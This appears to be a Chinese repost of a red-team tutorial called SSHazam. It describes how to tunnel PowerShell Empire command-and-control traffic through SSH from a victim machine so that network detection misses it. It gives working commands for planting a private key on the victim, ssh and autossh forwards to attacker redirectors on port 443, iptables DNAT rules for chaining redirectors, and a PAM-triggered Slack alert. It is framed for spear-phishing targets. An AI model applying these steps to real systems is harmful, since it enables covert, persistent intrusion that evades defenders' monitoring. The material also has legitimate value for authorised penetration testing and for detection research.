SSHazam:如何利用SSH隧道实现隐蔽C2通信

栏目: 服务器 · 发布时间: 5年前

内容简介:我们可以使用SSHazam在标准的SSH隧道中运行各种C2工具,避免网络行为被检测。在本文中,我们以PowerShell Empire为例,连接至受害主机上的某个localhost端口。本地端口通过SSH连接转发至远程Empire服务器,因此环境中只能看到SSH网络通信流量。受害主机搭载OS X系统,但我们也可以在Windows上使用

SSHazam:如何利用SSH隧道实现隐蔽C2通信

一、前言

我们可以使用SSHazam在标准的SSH隧道中运行各种C2工具,避免网络行为被检测。在本文中,我们以PowerShell Empire为例,连接至受害主机上的某个localhost端口。本地端口通过SSH连接转发至远程Empire服务器,因此环境中只能看到SSH网络通信流量。受害主机搭载OS X系统,但我们也可以在Windows上使用 Plink.exePutty工具集 中的一款工具)来使用这种技术。

二、搭建隧道

SSHazam:如何利用SSH隧道实现隐蔽C2通信

如上图所示,受害主机系统上的SSH隧道正在 5430 端口上监听,会将收到的所有数据转发至Empire服务器( empire-server )。Empire服务器在localhost的同一端口上( 127.0.0.1:5430 )监听Empire入站连接。为了让SSH流量更加隐蔽,我们的SSH服务器在 443 端口上监听(而非标准的 22 端口)。记得修改SSH配置文件中的监听端口,此外也要修改与服务商的防火墙规则,放行该端口上的流量。

在建立隧道之前,我们需要在受害主机系统上创建或者复制一个私钥,并将对应的公钥添加到Empire服务器上的 authorized_keys 文件中,以便成功建立SSH连接。在本文案例中,受害主机上的私钥文件路径为 ~/.ssh/.do.key 。我们可以在命令行中输入如下命令完成这些操作(这里省略了部分数据,记得补全):

mkdir ~/.ssh
chmod 700 ~/.ssh
echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key
echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key
echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key
<snipped here for brevity>
echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key
echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key
echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key
chmod 600 ~/.ssh/.do.key

为了避免其他人访问私钥,在Empire服务器上执行其他操作,我们可以适当更改配置。我们可以编辑 /etc/passwd ,将登录 shell 修改为 /bin/false

victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false

现在我们可以开始配置PowerShell Empire或者自己的C2在 127.0.0.1:5430 上监听,即使我们使用了类似域前置(domain fronting)之类的复杂配置,也能使用这种技术。

就这么简单,我们所有的C2流量已经可以隐藏在加密SSH隧道内部,无需担心C2流量触发基于网络特征的检测机制。

三、本地化方案

这种技术非常简单,便于使用,可能在容易触发警报的场景中顺利获得C2会话。然而我们可能不希望将客户的敏感数据托管在不属于我们的云端上。在这种情况下,我们需要创建其他重定向节点,将云端流量重定向到自己网络中的某个系统。这种操作更为复杂,但无需担心,解决方案如下所示:

SSHazam:如何利用SSH隧道实现隐蔽C2通信

C2连接通过SSH隧道转发至 empire-redirector ,而 empire-redirector 上的防火墙规则将流量转发至另一个中间转发节点( redirector )。最后,我们自己的系统( in-house )将与最终的转发节点建立一个反向SSH连接,准备接收Empire C2会话。

在受害主机上运行的SSH命令如下所示:

ssh -i ~/.ssh/.do.key  -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431

in-house 这个可靠系统上运行的SSH命令如下所示:

autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com

我们首先需要安装 autossh ,这一步非常重要,可以保证隧道能保持长时间运行。

empire-redirector 上的IP Table规则如下:

iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432
iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE
sysctl -w net.ipv4.conf.all.route_localnet=1

以上规则可以将 543065535 端口上的流量转发至最终的转发节点上,因此我们可以在这个范围内,为每个受害者分配独立的端口。

redirector 上的IP Table规则如下所示:

sysctl -w net.ipv4.conf.all.route_localnet=1
iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433

以上操作虽然有点复杂,但可以满足我们的需求,无需将敏感数据存放在云端上。

此外,当SSH建连成功时,我们还想通过slack获得事件通知。我们可以在 empire-redirector 上的 /etc/pam.d/sshd 文件中添加如下内容,这样每当SSH成功建连时,就会运行我们的slack通知脚本。

session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

session optional pam_exec.so /home/root/ssh-slack-alert.sh

我所使用的slack通知脚本如下所示:

#!/usr/bin/env bash

if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ]
then
message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`"

curl -X POST \
  --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \
 https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE
fi

注意,在这个较为复杂的场景中,每次只能允许一个受害者连接,除非每个受害者在 empire-redirector 上使用的都是不同的端口,并且使用了单独的私钥。这一点比较烦人,但在针对性较高的鱼叉式钓鱼攻击场景中效果很好。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

编程人生

编程人生

Peter Seibel / 图灵俱乐部 / 人民邮电出版社 / 2011-1-1 / 79.00元

界顶尖的程序员是怎么走上编程道路的? 他们的编程工作创造和改变了人类历史,在这一过程中都有哪些经验和教训? 他们对计算机软件行业的过去、现在和未来有什么独到的看法和见解? 他们对培养、发现、选拔、面试优秀的程序员有什么建议? 放下手头的工作,听听这些软件先驱们的故事和建议,眼界可以更开阔,思路可以更清晰,方向可以更明确,人生可以更精彩。 作者Peter Seibel采......一起来看看 《编程人生》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具